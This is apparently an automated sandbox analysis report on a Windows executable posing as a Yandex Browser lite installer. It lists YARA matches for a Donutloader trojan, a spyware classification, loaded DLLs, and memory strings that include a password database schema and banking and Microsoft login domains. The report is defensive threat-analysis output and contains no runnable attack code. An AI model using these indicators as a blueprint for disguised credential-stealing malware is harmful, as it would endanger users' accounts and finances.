Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_0596A2A4	1_2_0596A2A4
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_05944226	1_2_05944226
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_05968274	1_2_05968274
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_05942D68	1_2_05942D68
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_0595510A	1_2_0595510A
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_05955164	1_2_05955164

Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: String function: 00875190 appears 118 times
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: String function: 008347C0 appears 233 times
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: String function: 0086D640 appears 544 times
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: String function: 00836CF0 appears 65 times
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: String function: 008B2120 appears 43 times
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: String function: 00875540 appears 93 times
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: String function: 0595EEF4 appears 34 times
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: String function: 0091B1C0 appears 76 times
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: String function: 00903510 appears 81 times
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: String function: 00875590 appears 35 times
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: String function: 059815AB appears 57 times
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: String function: 059815DE appears 50 times
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: String function: 00900640 appears 48 times
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: String function: 008AFB90 appears 46 times

Source: 0x001900000002ab40-59.exe

Static PE information: invalid certificate

Source: 0x001900000002ab40-59.exe

Static PE information: Resource name: BIN type: Microsoft Cabinet archive data, 2408 bytes, 1 file, at 0x2c +A "brand_config", number 1, 1 datablock, 0x1 compression

Source: 0x001900000002ab40-59.exe	Binary or memory string: OriginalFilename vs 0x001900000002ab40-59.exe
Source: 0x001900000002ab40-59.exe, 00000001.00000000.1519545162.0000000000933000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: file_version_info_win.ccCreateFileVersionInfoWinCompanyNameCompanyShortNameInternalNameProductNameProductShortNameProductVersionProductChromiumVersionProductYandexVersionFileDescriptionFileVersionOriginalFilenameSpecialBuild\StringFileInfo\%04x%04x\%ls\VarFileInfo\Translation\GetHandleVerifierGenuineIntel vs 0x001900000002ab40-59.exe
Source: 0x001900000002ab40-59.exe, 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: file_version_info_win.ccCreateFileVersionInfoWinCompanyNameCompanyShortNameInternalNameProductNameProductShortNameProductVersionProductChromiumVersionProductYandexVersionFileDescriptionFileVersionOriginalFilenameSpecialBuild\StringFileInfo\%04x%04x\%ls\VarFileInfo\Translation\GetHandleVerifierGenuineIntel vs 0x001900000002ab40-59.exe
Source: 0x001900000002ab40-59.exe	Binary or memory string: \|Jfile_version_info_win.ccCreateFileVersionInfoWinCompanyNameCompanyShortNameInternalNameProductNameProductShortNameProductVersionProductChromiumVersionProductYandexVersionFileDescriptionFileVersionOriginalFilenameSpecialBuild\StringFileInfo\%04x%04x\%ls\VarFileInfo\Translation\GetHandleVerifierGenuineIntel vs 0x001900000002ab40-59.exe

Source: 0x001900000002ab40-59.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: 1.2.0x001900000002ab40-59.exe.5942544.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 1.2.0x001900000002ab40-59.exe.5942544.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000001.00000002.1724191152.0000000005940000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13

Source: classification engine

Classification label: mal88.troj.spyw.winEXE@1/2@2/2

Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe

Code function: 1_2_0086C530 GetLastError,GetModuleHandleW,FormatMessageA,_strlen,_strlen,GetLastError,_strlen,

1_2_0086C530

Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe

Code function: 1_2_008BA790 _strlen,_strlen,_strlen,_strlen,GetDiskFreeSpaceExW,

1_2_008BA790

Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe

Code function: 1_2_008A09A0 CreateToolhelp32Snapshot,

1_2_008A09A0

Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe

Code function: 1_2_00858230 GetModuleHandleW,FindResourceW,LoadResource,LockResource,SizeofResource,

1_2_00858230

Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q8X2NUFH\76561199619938930[1].htm

Jump to behavior

Source: 0x001900000002ab40-59.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 0x001900000002ab40-59.exe, 00000001.00000003.1691320920.0000000008320000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1670130730.000000000830C000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: 0x001900000002ab40-59.exe

Virustotal: Detection: 19%

Source: 0x001900000002ab40-59.exe	String found in binary or memory: https://download.cdn.yandex.net/browser/installer/
Source: 0x001900000002ab40-59.exe	String found in binary or memory: /installstats/send/dtype=stred/pid=457
Source: 0x001900000002ab40-59.exe	String found in binary or memory: show-uac-at-browser-start
Source: 0x001900000002ab40-59.exe	String found in binary or memory: install-start-time-no-uac
Source: 0x001900000002ab40-59.exe	String found in binary or memory: program-files-installation
Source: 0x001900000002ab40-59.exe	String found in binary or memory: do-not-launch-browser
Source: 0x001900000002ab40-59.exe	String found in binary or memory: parent-installer-process-id
Source: 0x001900000002ab40-59.exe	String found in binary or memory: https://download.cdn.yandex.net/browser/installer/alice/scenarios/
Source: 0x001900000002ab40-59.exe	String found in binary or memory: https://storage.ape.yandex.net/get/browser/install
Source: 0x001900000002ab40-59.exe	String found in binary or memory: /support/browser/about/install.xml
Source: 0x001900000002ab40-59.exe	String found in binary or memory: https://download.cdn.yandex.net/browser/installer/alice/scenarios/
Source: 0x001900000002ab40-59.exe	String found in binary or memory: TBrandFilePartnerFilebrandlangGetInfoBrand package path: Partner package path: GetInfoFromResourcesExtract Partner package: [B]partner_configPartner package is empty.Fetching autodetected packageBRAND_Fetching definedFetching default packageExtract Brand package: brand_configBrand package is empty.https://download.cdn.yandex.net/browser/installer/alice/scenarios//browser-setup.archttps://download.cdn.yandex.net/browser/https://api.browser.yandex.net/content/get/experiments/browser.protohttps://api.browser.yandex.ru/ab/gethttps://webntp.yandex.ruClearReset brand info.ApplyBrandInfoFailed to load json : Incorrect format of jsonlanguages.interfaceinstall.setup_urlinstall.setup_url_versioninstall.setup_url64install.setup_url_version64install.setup_url32install.setup_url_win7install.alternate_installer_titleinstall.send_statisticsinstall.make_browser_defaultinstall.scenarios_urlinstall.slide_urlinstall.slide_url_if_taggedurls.variationsurls.abturls.webntpinstall.preloaded_wallpapers_urlinstall.pinFound install.pininstall.yapin_trial_stateoverridden_features.InstallerNewIdentity2024overridden_features.InstallerNewIdentity2024.params.firstScreenOffoverridden_features.InstallerNewIdentity2024.params.dialogsRedesignInstallerNewIdentity2024: firstScreenOff = , dialogsRedesign = overridden_features.InstallerDarkTheme2024overridden_features.InstallerDarkTheme2024.enabledInstallerDarkTheme2024: enabled = ..\..\third_party\libc++\src\include\__string\char_traits.h:322: assertion !std::__is_pointer_in_range(__s1, __s1 + __n, __s2) failed: char_traits::copy: source and destination ranges overlap
Source: 0x001900000002ab40-59.exe	String found in binary or memory: GetModuleCreationTimeFile version resource is absent in Version time is 0 in Used the last write file timeDownloadAttempt to download module: baneridyandexuiddistr_yandexuid0c0f0f0d-6434-4cfd-a5e9-23e9ca4d94b6fef32d6d-67e9-4654-b314-6c72098ff5d1ExtractInstallerDataIfAbsentFailed to extract resource InstallerDataClidsFileYandexWebsiteIconFileAbtConfigResourceFileunknown~InstallerFailed to wait for install async exit. Terminate install_thread_RunModuleAndWaitRun: Create process failed.Process created: Wait for process finish.Wait process failed.Get setup process exit code failed.Setup process exit with code: downloadactionerrorstage-attempt-errorurlredirectdownload_attemptsuccessstatusfailedattempt_numberdownloaded_sizetotal_sizex64https://storage.ape.yandex.net/get/browser/install?ui=&result=cancelled&time=&download_time=&install_time=ReportInstallationFinishedCannot report installation status: DownloadOrExtractModuleCannot create file:Try to download module:IsVersionedSetupUrlAllowedWrong setup url:https://download.cdn.yandex.net/browser-partners/_xp_builds/browser-setup.arcGetDownloadUrlsFromBrandConfigSetup url x64 empty!Setup url x32 empty!DownloadModuleSetup url is empty.Selected download urls:Installation stoppedMax download attempts failedInstallWrong overridden partner package path:Partner package override is:Partner package override found: GetModulePathCannot obtain temp file.GetModuleModule was not downloaded: Module downloaded: normalRunModuleInElevatedProcessStarted waiting the elevated installer has finished its work.The elevated installer has finished, success=InstallBrowserInstall Browser.setup_arc_permanent_lockExecutable path: Installation after download event isn't in signal state or installation was stopped early.Cannot lock file: Module verification failed: Verification succeeded: Unexpected error in CreateDelayedParamsMapping()ExtractBrowserSetupResourceWrite failed. Roll back write operation.clicked_buttonclicked_linkchosen_checkboxliteinstalldialog_windowinstall_browser_button_clicked10checkbox_defaultcheckbox_sendstatinstaller_starteddpiresolutionstartedfinisheddownload_timesetup_arc_lockverificationsetupupdatesetup_exe_launched100uacsetup_exe_exitedFailedToStartsetup_timeWriteDelayedParamsToo large string length, browser_arc_path= clids_file_path= yandex_website_icon_file_path= installer_data_path= brand_package_path= partner_package_path= partner_package_override_path= histogram_download_time= histogram_full_time= send_statistics= make_default= install_yapin=EnsureProcessFinishedThe elevated installer hangs and must be forcibly terminated.RunModuleThe elevated installer was terminated due to stop event.Failed to get exit code of the elevated installer.NeedStartThisProcessAsAdminUser is not in admin group.Windows version is not suitable for elevated restart.Found non install-switch:Run-as-admin functionality is already enabled.Elevated run is necessary but silent instalation is requested - UAC will not be shown.fake_browse
Source: 0x001900000002ab40-59.exe	String found in binary or memory: /support/browser/about/install.xml
Source: 0x001900000002ab40-59.exe	String found in binary or memory: ua-ukua-rucom.trintcom/support/browser/about/install.xmlhttps://yandex.Arial(
Source: 0x001900000002ab40-59.exe	String found in binary or memory: https://download.cdn.yandex.net/browser/installer/
Source: 0x001900000002ab40-59.exe	String found in binary or memory: BINmsi-databasepartner-package-guid/GetYapinTrialStateNo install.pin for yapin_state=yapinruuktrdeesfritjapt-PTpt-BRzh-CNzh-TWkkuzcsenhttps://download.cdn.yandex.net/browser/installer/ybLocal\YandexBrowserLiteInstallerMutex-E523E369-4A72-4B13-AD57-5B956174172A/download&code=user32.dllChangeWindowMessageFilterExChangeWindowMessageFilterdefstatstatpromotruefirstdarkthemeSoftware\Microsoft\Windows\CurrentVersion\Themes\PersonalizeAppsUseLightThemeuts2uacBringProcessWindowToTopFailed to bring process window to top: wrong process idExtractPartnerPackageOverridePackageReading msi Failed to open msi file for reading, error= file_attrs=Failed to get source file size for extracted package validation.Failed to move file pointer for guid reading.Failed to read tailing guid markerTail GUID from msi does not match specified guid marker: guid_marker= tailing_guid=Failed to move file pointer for target position reading.Failed to move file pointer to target pos for package reading.Failed to read starting guid markerAppendix start GUID from msi does not match specified guid marker: Failed to read zip sizeFailed to read zip dataFailed to read signature sizeFailed to read signature dataZip verification failed: Failed to open target file for reading Failed to write file data to output file Unable to delete file: testids,CombineBrandAndDistribTestIdsDuplicate testid found: ..\..\third_party\libc++\src\include\string:1221: assertion __pos <= size() failed: string index out of bounds
Source: 0x001900000002ab40-59.exe	String found in binary or memory: install-start-time-no-uac
Source: 0x001900000002ab40-59.exe	String found in binary or memory: program-files-installation
Source: 0x001900000002ab40-59.exe	String found in binary or memory: do-not-launch-browser
Source: 0x001900000002ab40-59.exe	String found in binary or memory: show-uac-at-browser-start
Source: 0x001900000002ab40-59.exe	String found in binary or memory: parent-installer-process-id
Source: 0x001900000002ab40-59.exe	String found in binary or memory: brand-namebrand-packageclids-fileyandex-website-icon-fileabt-config-resource-filedisable-error-dialog-download-buttondistr-info-filedistr-info-paramsdistribution-channelhistogram-download-timemake-browser-default-after-importok-button-pressed-timethe-interface-availabilityinstall-start-time-no-uacpartner-packageprogram-files-installationprogress-windowsimulate-crashdo-not-launch-browserfake-rename-yandex-internetshow-uac-at-browser-startsend-statisticssilentsemi-silentuac-enabledset-as-default-browserset-as-default-browser-dllsetup-cmd-linedisable-uacparent-installer-process-idoverride-partner-packagecheck-the-interfacepttw1pwattw1pttw0disableyapinyapin-statevariations-update-pathabt-update-pathserver-config-bundle-pathpreloaded-wallpaper-bundle-pathwebntp-pathdownload-x32download-x64use-task-scheduler2browser-presentinstaller-brand-idinstaller-partner-idtestidsold_verinstaller_typeinstall_statlite_install_failedKNOWN_ERROR_msi_read_errorKNOWN_ERROR_untrusted_certificateidentity,browser
Source: 0x001900000002ab40-59.exe	String found in binary or memory: brand-namebrand-packageclids-fileyandex-website-icon-fileabt-config-resource-filedisable-error-dialog-download-buttondistr-info-filedistr-info-paramsdistribution-channelhistogram-download-timemake-browser-default-after-importok-button-pressed-timethe-interface-availabilityinstall-start-time-no-uacpartner-packageprogram-files-installationprogress-windowsimulate-crashdo-not-launch-browserfake-rename-yandex-internetshow-uac-at-browser-startsend-statisticssilentsemi-silentuac-enabledset-as-default-browserset-as-default-browser-dllsetup-cmd-linedisable-uacparent-installer-process-idoverride-partner-packagecheck-the-interfacepttw1pwattw1pttw0disableyapinyapin-statevariations-update-pathabt-update-pathserver-config-bundle-pathpreloaded-wallpaper-bundle-pathwebntp-pathdownload-x32download-x64use-task-scheduler2browser-presentinstaller-brand-idinstaller-partner-idtestidsold_verinstaller_typeinstall_statlite_install_failedKNOWN_ERROR_msi_read_errorKNOWN_ERROR_untrusted_certificateidentity,browser
Source: 0x001900000002ab40-59.exe	String found in binary or memory: brand-namebrand-packageclids-fileyandex-website-icon-fileabt-config-resource-filedisable-error-dialog-download-buttondistr-info-filedistr-info-paramsdistribution-channelhistogram-download-timemake-browser-default-after-importok-button-pressed-timethe-interface-availabilityinstall-start-time-no-uacpartner-packageprogram-files-installationprogress-windowsimulate-crashdo-not-launch-browserfake-rename-yandex-internetshow-uac-at-browser-startsend-statisticssilentsemi-silentuac-enabledset-as-default-browserset-as-default-browser-dllsetup-cmd-linedisable-uacparent-installer-process-idoverride-partner-packagecheck-the-interfacepttw1pwattw1pttw0disableyapinyapin-statevariations-update-pathabt-update-pathserver-config-bundle-pathpreloaded-wallpaper-bundle-pathwebntp-pathdownload-x32download-x64use-task-scheduler2browser-presentinstaller-brand-idinstaller-partner-idtestidsold_verinstaller_typeinstall_statlite_install_failedKNOWN_ERROR_msi_read_errorKNOWN_ERROR_untrusted_certificateidentity,browser
Source: 0x001900000002ab40-59.exe	String found in binary or memory: /installstats/send/dtype=stred/pid=457
Source: 0x001900000002ab40-59.exe	String found in binary or memory: https://api.browser.yandex.ru/installstats/send/dtype=stred/pid=457/cid=/path=/vars=extended_statyabrowser_reinstall_dialogyabrowser_pf_migrationzombo_window
Source: 0x001900000002ab40-59.exe	String found in binary or memory: Browser-InstallationGDer Yandex-Browser konnte auf diesem Computer nicht installiert werden.0SSE2 wird von Ihrem Prozessor nicht unterst

Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior

Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: 0x001900000002ab40-59.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: 0x001900000002ab40-59.exe

Static file information: File size 10445744 > 1048576

Source: 0x001900000002ab40-59.exe	Static PE information: Raw size of .text is bigger than: 0x100000 < 0x111800
Source: 0x001900000002ab40-59.exe	Static PE information: Raw size of .rsrc is bigger than: 0x100000 < 0x83f600

Source: 0x001900000002ab40-59.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: 0x001900000002ab40-59.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: 0x001900000002ab40-59.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: 0x001900000002ab40-59.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: 0x001900000002ab40-59.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: 0x001900000002ab40-59.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: 0x001900000002ab40-59.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source: 0x001900000002ab40-59.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:

Binary string: C:\BuildAgent\work\6a6d135591f2f49f\src\out\Default\win_clang_x86\lite_installer.exe.pdb source: 0x001900000002ab40-59.exe

Source: 0x001900000002ab40-59.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: 0x001900000002ab40-59.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: 0x001900000002ab40-59.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: 0x001900000002ab40-59.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: 0x001900000002ab40-59.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe

Code function: 1_2_008F87E0 LoadLibraryW,GetProcAddress,TryAcquireSRWLockExclusive,ReleaseSRWLockExclusive,

1_2_008F87E0

Source: 0x001900000002ab40-59.exe	Static PE information: section name: SHARED
Source: 0x001900000002ab40-59.exe	Static PE information: section name: Shared

Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_00900F8B push ecx; ret		1_2_00900F9E
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_05981579 push ecx; ret		1_2_0598158C

Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe

Code function: 1_2_0086F990 rdtsc

1_2_0086F990

Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe

API coverage: 2.9 %

Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_009232F1 FindFirstFileExW,	1_2_009232F1
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_009233A5 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	1_2_009233A5
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_008CD950 FindFirstFileExW,GetLastError,GetFileAttributesW,FindNextFileW,FindClose,	1_2_008CD950

Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe

Code function: 1_2_0089F490 GetLogicalDriveStringsW,QueryDosDeviceW,

1_2_0089F490

Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe

Code function: 1_2_009007FF VirtualQuery,GetSystemInfo,

1_2_009007FF

Source: 0x001900000002ab40-59.exe, 00000001.00000003.1690685217.0000000008345000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive userers - NDCDYNVMware20,11696501413z
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1690685217.0000000008345000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696501413o
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1690685217.0000000008345000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696501413h
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1690685217.0000000008345000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696501413
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1690685217.0000000008345000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: www.interactiveuserers.co.inVMware20,11696501413~
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1690685217.0000000008345000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696501413j
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1690685217.0000000008345000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive userers - COM.HKVMware20,11696501413
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A64000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000002.1724281527.00000000059FC000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000002.1724281527.0000000005A64000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1647321556.0000000005A64000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1690685217.0000000008345000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696501413
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1690685217.0000000008345000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696501413\|UE
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1690685217.0000000008345000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696501413x
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1690685217.0000000008345000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696501413}
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1690685217.0000000008345000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive userers - non-EU EuropeVMware20,11696501413
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1690685217.0000000008345000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696501413x
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1690685217.0000000008345000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696501413t
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1690685217.0000000008345000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive userers - HKVMware20,11696501413]
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1690685217.0000000008345000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696501413s
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1690685217.0000000008345000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive userers - EU East & CentralVMware20,11696501413
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1691414851.00000000082C6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696501413p
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1690685217.0000000008345000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696501413u
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1690685217.0000000008345000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive userers - GDCDYNVMware20,11696501413p
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1690685217.0000000008345000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive userers - EU WestVMware20,11696501413n
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1690685217.0000000008345000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696501413
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1690685217.0000000008345000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696501413
